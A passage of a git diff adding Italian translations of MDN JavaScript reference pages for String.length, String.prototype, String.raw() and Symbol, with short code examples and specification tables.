+<p>La proprietà <strong><code>length</code></strong> di un oggetto {{jsxref("String")}} indica la lunghezza di una stringa, in unità di codice UTF-16<span class="seoSummary">.</span></p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.length</code></pre>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Questa proprietà restituisce il numero di unità di codice nella stringa. {{interwiki("wikipedia", "UTF-16")}}, il formato di stringa utilizzato da JavaScript, utilizza una singola unità di codice a 16 bit per rappresentare i caratteri più comuni, ma deve utilizzare due unità di codice per meno comunemente- caratteri usati, quindi è possibile che il valore restituito dalla <code>length</code> “lunghezza“ non corrisponda al numero effettivo di caratteri nella stringa.</p>
+
+<p>ECMASCript 2016 (ed. 7) ha stabilito una lunghezza massima di <code>2^53 - 1</code> elementi. In precedenza, non è stata specificata una lunghezza massima.. </p>
+
+<p>Per una stringa vuota, <code>length</code> è 0.</p>
+
+<p>La proprietà statica <code>String.length</code> restituisce il valore 1.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Basic_usage">Basic usage</h3>
+
+<pre class="brush: js">var x = 'Mozilla';
+var empty = '';
+
+console.log('Mozilla is ' + x.length + ' code units long');
+/* "Mozilla è lungo 7 unità di codice" */
+
+console.log('La stringa vuota ha una lunghezza di
+ ' + empty.length);
+/* "La stringa vuota ha una lunghezza di 0" */</pre>
+
+<h3 id="Assegnazione_a_length">Assegnazione a length</h3>
+
+<pre class="brush: js">var myString = "bluebells";
+
+// Il tentativo di assegnare un valore alla proprietà .length di una stringa non ha alcun effetto osservabile.
+myString.length = 4;
+console.log(myString);
+/* "bluebells" */
+</pre>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specificazioni</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definizione iniziale Implementato in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.5.1', 'String.prototype.length')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-properties-of-string-instances-length', 'String.prototype.length')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-properties-of-string-instances-length', 'String.prototype.length')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibili">Browser compatibili</h2>
+
+<p class="hidden">La tabella di compatibilità in questa pagina è generata da dati strutturati. Se desideri contribuire ai dati, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e inviaci una richiesta di pull</p>
+
+<p>{{Compat("javascript.builtins.String.length")}}</p>
+
+<h2 id="Guarda_anche">Guarda anche</h2>
+
+<ul>
+ <li><a href="http://developer.teradata.com/blog/jasonstrimpel/2011/11/javascript-string-length-and-internationalizing-web-applications">JavaScript <code>String.length</code> and Internationalizing Web Applications</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/string/prototype/index.html b/files/it/web/javascript/reference/global_objects/string/prototype/index.html
new file mode 100644
index 0000000000..b13374a9a0
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/string/prototype/index.html
@@ -0,0 +1,178 @@
+---
+title: String.prototype
+slug: Web/JavaScript/Reference/Global_Objects/String/prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/String
+---
+<div>{{JSRef}}</div>
+
+<p>La proprietà <strong><code>String.prototype</code></strong>rappresenta l'oggetto prototipo {{jsxref("String")}}.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Tutte le istanze {{jsxref("String")}} ereditano da <code>String.prototype</code> . Le modifiche all'oggetto prototipo <code>String</code> vengono propagate a tutte le istanze {{jsxref("String")}}.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt><code>String.prototype.constructor</code></dt>
+ <dd>Specifica la funzione che crea il prototipo di un oggetto.</dd>
+ <dt>{{jsxref("String.prototype.length")}}</dt>
+ <dd>Riflette la lunghezza della stringa.</dd>
+ <dt><code><em>N</em></code></dt>
+ <dd>Utilizzato per accedere al carattere in <em>N</em> posizione in cui <em>N</em> è un numero intero positivo compreso tra 0 e uno inferiore al valore della {{jsxref("String.length", "length")}}. Queste proprietà sono di sola lettura.</dd>
+</dl>
+
+<h2 id="Metodi">Metodi</h2>
+
+<h3 id="Metodi_non_correlati_HTML">Metodi non correlati HTML</h3>
+
+<dl>
+ <dt>{{jsxref("String.prototype.charAt()")}}</dt>
+ <dd>Restituisce il carattere (esattamente un'unità di codice UTF-16) all'indice specificato</dd>
+ <dt>{{jsxref("String.prototype.charCodeAt()")}}</dt>
+ <dd>Restituisce un numero che corrisponde al valore dell'unità di codice UTF-16 nell'indice specificato.</dd>
+ <dt>{{jsxref("String.prototype.codePointAt()")}}</dt>
+ <dd>Restituisce un numero intero non negativo <strong>Numero</strong> che è il valore del punto di codice codificato UTF-16 che inizia con l'indice specificato.</dd>
+ <dt>{{jsxref("String.prototype.concat()")}}</dt>
+ <dd>Combina il testo di due stringhe e restituisce una nuova stringa.</dd>
+ <dt>{{jsxref("String.prototype.includes()")}}</dt>
+ <dd>Determina se una stringa può essere trovata all'interno di un'altra stringa.</dd>
+ <dt>{{jsxref("String.prototype.endsWith()")}}</dt>
+ <dd>Determina se una stringa termina con i caratteri di un'altra stringa.</dd>
+ <dt>{{jsxref("String.prototype.indexOf()")}}</dt>
+ <dd>Restituisce l'indice all'interno dell'oggetto {{jsxref("String")}} chiamante della prima occorrenza del valore specificato o -1 se non trovato.</dd>
+ <dt>{{jsxref("String.prototype.lastIndexOf()")}}</dt>
+ <dd>Restituisce l'indice all'interno dell'oggetto {{jsxref("String")}} chiamante della prima occorrenza del valore specificato o -1 se non trovato.</dd>
+ <dt>{{jsxref("String.prototype.localeCompare()")}}</dt>
+ <dd>Restituisce un numero che indica se una stringa di riferimento viene prima o dopo o è uguale alla stringa specificata in ordine di ordinamento.</dd>
+ <dt>{{jsxref("String.prototype.match()")}}</dt>
+ <dd>Utilizzato per abbinare un'espressione regolare a una stringa.</dd>
+ <dt>{{jsxref("String.prototype.normalize()")}}</dt>
+ <dd>Restituisce il modulo di normalizzazione Unicode del valore della stringa chiamante.</dd>
+ <dt>{{jsxref("String.prototype.padEnd()")}}</dt>
+ <dd>Riempie la stringa corrente dalla fine con una determinata stringa per creare una nuova stringa di una determinata lunghezza.</dd>
+ <dt>{{jsxref("String.prototype.padStart()")}}</dt>
+ <dd>Riempie la stringa corrente dall'inizio con una determinata stringa per creare una nuova stringa da una determinata lunghezza.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("String.prototype.quote()")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">Avvolge la stringa tra virgolette ("<code>"</code>").</s></dd>
+ <dt>{{jsxref("String.prototype.repeat()")}}</dt>
+ <dd>Restituisce una stringa composta da elementi dell'oggetto ripetuti i tempi indicati.</dd>
+ <dt>{{jsxref("String.prototype.replace()")}}</dt>
+ <dd>Utilizzato per trovare una corrispondenza tra un'espressione regolare e una stringa e per sostituire la sottostringa con corrispondenza con una nuova sottostringa.</dd>
+ <dt>{{jsxref("String.prototype.search()")}}</dt>
+ <dd>Esegue la ricerca di una corrispondenza tra un'espressione regolare e una stringa specificata.</dd>
+ <dt>{{jsxref("String.prototype.slice()")}}</dt>
+ <dd>Estrae una sezione di una stringa e restituisce una nuova stringa.</dd>
+ <dt>{{jsxref("String.prototype.split()")}}</dt>
+ <dd>Divide un oggetto  {{jsxref("Global_Objects/String", "String")}} in una matrice di stringhe separando la stringa in sottostringhe.</dd>
+ <dt>{{jsxref("String.prototype.startsWith()")}}</dt>
+ <dd>Determina se una stringa inizia con i caratteri di un'altra stringa.</dd>
+ <dt>{{jsxref("String.prototype.substr()")}} {{deprecated_inline}}</dt>
+ <dd>Restituisce i caratteri in una stringa che inizia nella posizione specificata attraverso il numero specificato di caratteri.</dd>
+ <dt>{{jsxref("String.prototype.substring()")}}</dt>
+ <dd>Restituisce i caratteri in una stringa tra due indici nella stringa.</dd>
+ <dt>{{jsxref("String.prototype.toLocaleLowerCase()")}}</dt>
+ <dd>I caratteri all'interno di una stringa vengono convertiti in minuscolo rispettando le impostazioni locali correnti. Per la maggior parte delle lingue, questo restituirà lo stesso di {{jsxref("String.prototype.toLowerCase()", "toLowerCase()")}}.</dd>
+ <dt>{{jsxref("String.prototype.toLocaleUpperCase()")}}</dt>
+ <dd>I caratteri all'interno di una stringa vengono convertiti in maiuscolo rispettando le impostazioni locali correnti. Per la maggior parte delle lingue, ciò restituirà lo stesso di {{jsxref("String.prototype.toUpperCase()", "toUpperCase()")}}.</dd>
+ <dt>{{jsxref("String.prototype.toLowerCase()")}}</dt>
+ <dd>Restituisce il valore della stringa chiamante convertito in minuscolo.</dd>
+ <dt>{{jsxref("String.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Restituisce un oggetto letterale che rappresenta l'oggetto specificato; puoi usare questo valore per creare un nuovo oggetto. Sostituisce il metodo {{jsxref("Object.prototype.toSource()")}} method.</dd>
+ <dt>{{jsxref("String.prototype.toString()")}}</dt>
+ <dd>Restituisce una stringa che rappresenta l'oggetto specificato. Sostituisce il metodo {{jsxref("Object.prototype.toString()")}} .</dd>
+ <dt>{{jsxref("String.prototype.toUpperCase()")}}</dt>
+ <dd>Restituisce il valore della stringa chiamante convertito in maiuscolo.</dd>
+ <dt>{{jsxref("String.prototype.trim()")}}</dt>
+ <dd>Taglia gli spazi bianchi all'inizio e alla fine della stringa. Parte dello standard ECMAScript 5.</dd>
+ <dt>{{jsxref("String.prototype.trimStart()")}}<br>
+ {{jsxref("String.prototype.trimLeft()")}}</dt>
+ <dd>Taglia gli spazi bianchi dall'inizio della stringa.</dd>
+ <dt>{{jsxref("String.prototype.trimEnd()")}}<br>
+ {{jsxref("String.prototype.trimRight()")}}</dt>
+ <dd>Taglia gli spazi bianchi dalla fine della stringa.</dd>
+ <dt>{{jsxref("String.prototype.valueOf()")}}</dt>
+ <dd>Restituisce il valore primitivo dell'oggetto specificato. Sostituisce il metodo {{jsxref("Object.prototype.valueOf()")}}.</dd>
+ <dt>{{jsxref("String.prototype.@@iterator()", "String.prototype[@@iterator]()")}}</dt>
+ <dd>Restituisce un nuovo oggetto <code>Iterator</code> che itera sopra i punti di codice di un valore String, restituendo ogni punto di codice come valore String.</dd>
+</dl>
+
+<h3 id="HTML_metodi_wrapper_(involucro)">HTML metodi wrapper (involucro)</h3>
+
+<p>Questi metodi sono di uso limitato, in quanto forniscono solo un sottoinsieme dei tag e degli attributi HTML disponibili.</p>
+
+<dl>
+ <dt>{{jsxref("String.prototype.anchor()")}} {{deprecated_inline}}</dt>
+ <dd>{{htmlattrxref("name", "a", "&lt;a name=\"name\"&gt;")}} (hypertext target)</dd>
+ <dt>{{jsxref("String.prototype.big()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("big")}}</dd>
+ <dt>{{jsxref("String.prototype.blink()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("blink")}}</dd>
+ <dt>{{jsxref("String.prototype.bold()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("b")}}</dd>
+ <dt>{{jsxref("String.prototype.fixed()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("tt")}}</dd>
+ <dt>{{jsxref("String.prototype.fontcolor()")}} {{deprecated_inline}}</dt>
+ <dd>{{htmlattrxref("color", "font", "&lt;font color=\"color\"&gt;")}}</dd>
+ <dt>{{jsxref("String.prototype.fontsize()")}} {{deprecated_inline}}</dt>
+ <dd>{{htmlattrxref("size", "font", "&lt;font size=\"size\"&gt;")}}</dd>
+ <dt>{{jsxref("String.prototype.italics()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("i")}}</dd>
+ <dt>{{jsxref("String.prototype.link()")}} {{deprecated_inline}}</dt>
+ <dd>{{htmlattrxref("href", "a", "&lt;a href=\"url\"&gt;")}} (link to URL)</dd>
+ <dt>{{jsxref("String.prototype.small()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("small")}}</dd>
+ <dt>{{jsxref("String.prototype.strike()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("strike")}}</dd>
+ <dt>{{jsxref("String.prototype.sub()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("sub")}}</dd>
+ <dt>{{jsxref("String.prototype.sup()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("sup")}}</dd>
+</dl>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specificazioni</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.3.1', 'String.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype', 'String.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype', 'String.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_il_browser">Compatibilità con il browser</h2>
+
+<p class="hidden"> tabella di compatibilità in questa pagina è generata da dati strutturati. Se desideri contribuire ai dati, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e inviaci una richiesta di pull.</p>
+
+<p>{{Compat("javascript.builtins.String.prototype")}}</p>
+
+<h2 id="Guarda_anche">Guarda anche</h2>
+
+<ul>
+ <li>{{jsxref("String")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/string/raw/index.html b/files/it/web/javascript/reference/global_objects/string/raw/index.html
new file mode 100644
index 0000000000..2d070b15cb
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/string/raw/index.html
@@ -0,0 +1,108 @@
+---
+title: String.raw()
+slug: Web/JavaScript/Reference/Global_Objects/String/raw
+translation_of: Web/JavaScript/Reference/Global_Objects/String/raw
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo statico <strong><code>String.raw()</code></strong> è una funzione di tag del modello <a href="/en-US/docs/Web/JavaScript/Reference/template_strings">template string</a>, simile al prefisso <code>r</code> in Python o al prefisso <code>@</code> in C# per i valori letterali stringa (tuttavia c'è una differenza: vedere le spiegazioni in <a href="https://bugs.chromium.org/p/v8/issues/detail?id=5016" rel="noopener">questo numero</a> ). È usato per ottenere la stringa di stringhe di template non formattata, cioè le sostituzioni (ad esempio <font face="consolas, Liberation Mono, courier, monospace">${foo}</font>) vengono elaborate, ma gli escape (ad esempio <code>\n</code> ) non lo sono.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code>String.raw(<var>callSite</var>, <var>...substitutions</var>)
+String.raw`templateString`
+</code></pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>callSite</code></dt>
+ <dd>Oggetto del sito di chiamata template ben formato, come <code>{ raw: ['foo', 'bar', 'baz'] }</code>.</dd>
+ <dt><code>...substitutions</code></dt>
+ <dd>Contiene valori di sostituzione.</dd>
+ <dt><code>templateString</code></dt>
+ <dd>A <a href="/en-US/docs/Web/JavaScript/Reference/template_strings">template string</a>, puoi sostituirlo opzionalmente (<code>${...}</code>).</dd>
+</dl>
+
+<h3 id="Valore_resituto">Valore resituto</h3>
+
+<p>Restituisce una stringa non elaborata di un determinato Template String.</p>
+
+<h3 id="Eccezioni">Eccezioni</h3>
+
+<dl>
+ <dt>{{jsxref("TypeError")}}</dt>
+ <dd>Un oggetto {{jsxref("TypeError")}} viene generato se il primo argomento non è un oggetto formato.</dd>
+</dl>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Nella maggior parte dei casi, <code>String.raw()</code> viene utilizzato con template strings. La prima sintassi menzionata sopra è usata solo di rado, perché il motore JavaScript la chiamerà con argomenti appropriati, proprio come con altre <a href="/en-US/docs/Web/JavaScript/Reference/template_strings#Tagged_template_literals">funzioni tag</a> .</p>
+
+<p><code>String.raw()</code> è l'unica funzione di built-in tag incorporata nei template strings; funziona proprio come la funzione predefinita del modello ed esegue la concatenazione. Puoi anche ri-implementarlo con il normale codice JavaScript.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Utilizzo_di_String.raw()">Utilizzo di <code>String.raw()</code></h3>
+
+<pre class="brush: js">String.raw`Ciao\n${2+3}!`;
+// 'Ciao\n5!', Il carattere dopo 'Ciao' non è un carattere di nuova riga,
+// '\' e 'n' sono due caratteri.
+
+String.raw`Hi\u000A!`;
+// 'Ciao\u000A!', Lo stesso qui, questa volta avremo il
+// \, u, 0, 0, 0, A, 6 caratteri.
+// Tutti i tipi di caratteri di escape saranno inefficaci
+// e backslash saranno presenti nella stringa di output
+// Puoi confermare questo controllando la proprietà .length
+// della stringa.
+
+<code>let</code> name = 'Bob';
+String.raw`Ciao\n${name}!`;
+// 'Ciao\nBob!', le sostituzioni vengono elaborate.
+
+// Normalmente non si chiama String.raw() come una funzione,
+// ma la si chiama per simulare <code>`t${0}e${1}s${2}t` </code>puoi fare:
+<code>String.raw({ raw: 'test' }, 0, 1, 2); // 't0e1s2t'</code>
+// Nota che la stringa 'test', è un oggetto simile ad un array
+// Il seguente è equivalente a
+<code>// `foo${2 + 3}bar${'Java' + 'Script'}baz`
+String.raw({
+  raw: ['foo', 'bar', 'baz']
+}, 2 + 3, 'Java' + 'Script'); // 'foo5barJavaScriptbaz'</code></pre>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specificazioni</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-string.raw', 'String.raw')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.raw', 'String.raw')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_il_browser">Compatibilità con il browser</h2>
+
+<p class="hidden">La tabella di compatibilità in questa pagina è generata da dati strutturati. Se desideri contribuire ai dati, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e inviaci una richiesta di pull.</p>
+
+<p>{{Compat("javascript.builtins.String.raw")}}</p>
+
+<h2 id="Guarda_anche">Guarda anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/template_strings">Template strings</a></li>
+ <li>{{jsxref("String")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar">Lexical grammar</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/symbol/index.html b/files/it/web/javascript/reference/global_objects/symbol/index.html
new file mode 100644
index 0000000000..5445a96009
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/symbol/index.html
@@ -0,0 +1,230 @@
+---
+title: Symbol
+slug: Web/JavaScript/Reference/Global_Objects/Symbol
+tags:
+  - ECMAScript 2015
+  - ECMAScript6
+  - JavaScript
+  - Symbol
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol
+---
+<div>{{JSRef}}</div>
+
+<p>La funzione <code>Symbol()</code> restituisce un valore di tipo <strong>symbol</strong>, dispone di proprietà statiche che espongono diversi membri di oggetti built-in, ha metodi statici che espongono il registro globale dei symbol, ed assomiglia all'oggetto built-in class, ma non dispone di un costruttore e non supporta la sintassi "<code>new Symbol()</code>".  </p>
+
+<p>Ogni valore symbol restituito da <code>Symbol()</code> è unico.  Un valore symbol può essere utilizzato come identificatore per proprietà di un oggetto; questo è lo scopo di tale tipo di dati.  Ulteriori spiegazioni circa il loro scopo ed uso può essere trovato nella pagina: <a href="/en-US/docs/Glossary/Symbol">glossary entry for Symbol</a>.</p>
+
+<p>Il tipo di dati <strong>symbol</strong> è un {{Glossary("Primitive", "primitive data type")}}.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">Symbol(<em>[description]</em>)</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>description</code> {{optional_inline}}</dt>
+ <dd>Opzionale, string. Una descrizione del symbol che può essere usata per il debug ma non per accedere al symbol stesso.</dd>
+</dl>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Per creare un nuovo primitive symbol, scrivere<code>Symbol()</code> con una stringa opzionale di descrizione:</p>
+
+<pre class="brush: js">var sym1 = Symbol();
+var sym2 = Symbol('foo');
+var sym3 = Symbol('foo');
+</pre>
+
+<p>Il codice sopra crea tre nuovi symbol. Notare che <code>Symbol("foo")</code> non costringe la stringa "foo" in un symbol. Esso crea un nuovo symbol ogni volta:</p>
+
+<pre class="brush: js">Symbol('foo') === Symbol('foo'); // false</pre>
+
+<p>La sintassi seguente con l'operatore {{jsxref("Operators/new", "new")}} genererà un {{jsxref("TypeError")}}:</p>
+
+<pre class="brush: js">var sym = new Symbol(); // TypeError</pre>
+
+<p>Questo previene gli autori dal creare un esplicito oggetto wrapper <code>Symbol</code> invece di un nuovo valore symbol e la cosa può sorprendere in quanto creare un oggetto wrapper esplicito attorno ad un tipo di dati primitivo è generalmente possibile (ad esempio, <code>new Boolean</code>, <code>new String</code> e <code>new Number</code>).</p>
+
+<p>Se veramente si vuole creare un oggetto wrapper <code>Symbol</code> si può usare la funzione <code>Object()</code>:</p>
+
+<pre class="brush: js">var sym = Symbol('foo');
+typeof sym;     // "symbol"
+var symObj = Object(sym);
+typeof symObj;  // "object"
+</pre>
+
+<h3 id="Symbols_condivisi_nel_registro_globale_dei_symbol">Symbols condivisi nel registro globale dei symbol</h3>
+
+<p>La sintassi vista sopra che utilizza la funzione <code>Symbol()</code> non crea un symbol globale che sarà disponibile nell'intero codebase. Per creare dei symbol disponibili attraverso diversi files ed anche attraverso diversi realms (ognuno dei quali ha il proprio global scope), usare i metodi {{jsxref("Symbol.for()")}} e {{jsxref("Symbol.keyFor()")}} per impostare e leggere i symbol dal registro globale.</p>
+
+<h3 id="Cercare_le_proprietà_symbol_negli_oggetti">Cercare le proprietà symbol negli oggetti</h3>
+
+<p>Il metodo {{jsxref("Object.getOwnPropertySymbols()")}} restituisce un array di symbol e permette di trovare le proprietà symbol di un oggetto. Notare che ogni oggetto è inizializzato senza alcuna proprietà symbol, per cui l'array restituito sarà vuoto a meno che una proprietà symbol non sia stata creata sull'oggetto.</p>
+
+<h2 id="Proprietà">Proprietà</h2>
+
+<dl>
+ <dt><code>Symbol.length</code></dt>
+ <dd>Proprietà "lunghezza", il cui valore è 0.</dd>
+ <dt>{{jsxref("Symbol.prototype")}}</dt>
+ <dd>Rappresenta il prototype del costruttore <code>Symbol</code>.</dd>
+</dl>
+
+<h3 id="Symbols_ben_noti">Symbols ben noti</h3>
+
+<p>In aggiunta ai symbol definiti da voi, JavaScript dispone di alcuni symbol built-in che rappresentano alcuni comportamenti interni del linguaggio che non sono esposti agli sviluppatori in ECMAScript5 e precedenti. A tali symbol si può accedere tramite le seguenti proprietà:</p>
+
+<h4 id="Symbols_di_iterazione">Symbols di iterazione</h4>
+
+<dl>
+ <dt>{{jsxref("Symbol.iterator")}}</dt>
+ <dd>Un metodo che restituisce l'iteratore di default per un oggetto. Usato da <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of"><code>for...of</code></a>.</dd>
+ <dt>{{jsxref("Symbol.asyncIterator")}} {{experimental_inline}}</dt>
+ <dd>Un metodo che restituisce l'iteratore asincrono di default per un oggetto. Usato da <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for-await-of"><code>for await of</code></a>.</dd>
+</dl>
+
+<h4 id="Symbols_per_le_espressioni_regolari">Symbols per le espressioni regolari</h4>
+
+<dl>
+ <dt>{{jsxref("Symbol.match")}}</dt>
+ <dd>Un metodo che effettua la corrispondenza su una stringa, usato anche per determinare se un oggetto può essere utilizzato come espressione regolare. Usato da {{jsxref("String.prototype.match()")}}.</dd>
+ <dt>{{jsxref("Symbol.replace")}}</dt>
+ <dd>Un metodo che sostituisce le sottostringhe di una stringa corrispondenti. Usato da {{jsxref("String.prototype.replace()")}}.</dd>
+ <dt>{{jsxref("Symbol.search")}}</dt>
+ <dd>Un metodo che restituisce l'indice all'interno di una stringa che corrisponde all'espressione regolare. Usato da {{jsxref("String.prototype.search()")}}.</dd>
+ <dt>{{jsxref("Symbol.split")}}</dt>
+ <dd>Un metodo che divide una stringa all'indice corrispondente ad una espressione regolare. Usato da {{jsxref("String.prototype.split()")}}.</dd>
+</dl>
+
+<h4 id="Altri_symbols">Altri symbols</h4>
+
+<dl>
+ <dt>{{jsxref("Symbol.hasInstance")}}</dt>
+ <dd>Un metodo che determina se un oggetto costruttore riconosce un oggetto come propria istanza. Usato da {{jsxref("Operators/instanceof", "instanceof")}}.</dd>
+ <dt>{{jsxref("Symbol.isConcatSpreadable")}}</dt>
+ <dd>Un valore booleano indicante se un oggetto deve essere appiattito ai soui elementi array. Usato da {{jsxref("Array.prototype.concat()")}}.</dd>
+ <dt>{{jsxref("Symbol.unscopables")}}</dt>
+ <dd>An object value of whose own and inherited property names are excluded from the <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/with">with</a></code> environment bindings of the associated object.</dd>
+ <dt>{{jsxref("Symbol.species")}}</dt>
+ <dd>Una funzione costruttore utilizzata per creare oggetti derivati.</dd>
+ <dt>{{jsxref("Symbol.toPrimitive")}}</dt>
+ <dd>Un metodo che converte un oggetto in un valore primitivo.</dd>
+ <dt>{{jsxref("Symbol.toStringTag")}}</dt>
+ <dd>Una stringa usata per la descizione di default di un oggetto. Usato da {{jsxref("Object.prototype.toString()")}}.</dd>
+</dl>
+
+<h2 id="Metodi">Metodi</h2>
+
+<dl>
+ <dt>{{jsxref("Symbol.for()", "Symbol.for(key)")}}</dt>
+ <dd>Cerca la "key" fornita tra i symbol esistenti e la restituisce nel caso in cui venga trovata. In caso contrario un nuovo symbol viene creato nel registro globale dei symbol con la "key" indicata.</dd>
+ <dt>{{jsxref("Symbol.keyFor", "Symbol.keyFor(sym)")}}</dt>
+ <dd>Trova una chiave symbol condivisa dal registro globale dei symbol per il symbol fornito.</dd>
+</dl>
+
+<h2 id="Symbol_prototype"><code>Symbol</code> prototype</h2>
+
+<p>Tutti i simboli ereditano da {{jsxref("Symbol.prototype")}}.</p>
+
+<h3 id="Proprietà_2">Proprietà</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Symbol/prototype','Properties')}}</p>
+
+<h3 id="Metodi_2">Metodi</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Symbol/prototype','Methods')}}</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Using_the_typeof_operator_with_symbols">Using the <code>typeof</code> operator with symbols</h3>
+
+<p>L'operatore {{jsxref("Operators/typeof", "typeof")}} può aiutare ad identificare i symbol.</p>
+
+<pre class="brush: js">typeof Symbol() === 'symbol'
+typeof Symbol('foo') === 'symbol'
+typeof Symbol.iterator === 'symbol'
+</pre>
+
+<h3 id="Conversioni_di_tipo_dei_symbol">Conversioni di tipo dei symbol</h3>
+
+<p>Alcune cose da notare quando si lavora con le conversioni di tipo dei symbol.</p>
+
+<ul>
+ <li>Quando si prova a convertire un symbol in un numero, un {{jsxref("TypeError")}} verrà generato<br>
+  (e.g. <code>+sym</code> or <code>sym | 0</code>).</li>
+ <li>Quando si usa l'uguaglianza non stretta, <code>Object(sym) == sym</code> restituisce <code>true.</code></li>
+ <li><code>Symbol("foo") + "bar"</code> lancia un {{jsxref("TypeError")}} (non si può convertire un symbol in stringa). Questo previene, ad esempio, la creazione silenziosa di un nuovo nome di proprietà stringa da un symbol.</li>
+ <li>La <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#String_conversion">"safer" <code>String(sym)</code> conversion</a> funziona come una chiamata a {{jsxref("Symbol.prototype.toString()")}} con symbol, ma notare che <code>new String(sym)</code> genererà un errore.</li>
+</ul>
+
+<h3 id="Symbols_ed_iterazione_for...in">Symbols ed iterazione <code>for...in</code></h3>
+
+<p>I symbol non sono enumerabili in un'iterazione <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in"><code>for...in</code></a>. In aggiunta, {{jsxref("Object.getOwnPropertyNames()")}} non restituirà le proprietà symbol dell'oggetto, tuttavia, si puù usare {{jsxref("Object.getOwnPropertySymbols()")}} per ottenerle.</p>
+
+<pre class="brush: js">var obj = {};
+
+obj[Symbol('a')] = 'a';
+obj[Symbol.for('b')] = 'b';
+obj['c'] = 'c';
+obj.d = 'd';
+
+for (var i in obj) {
+   console.log(i); // logs "c" and "d"
+}</pre>
+
+<h3 id="Symbols_e_JSON.stringify()">Symbols e <code>JSON.stringify()</code></h3>
+
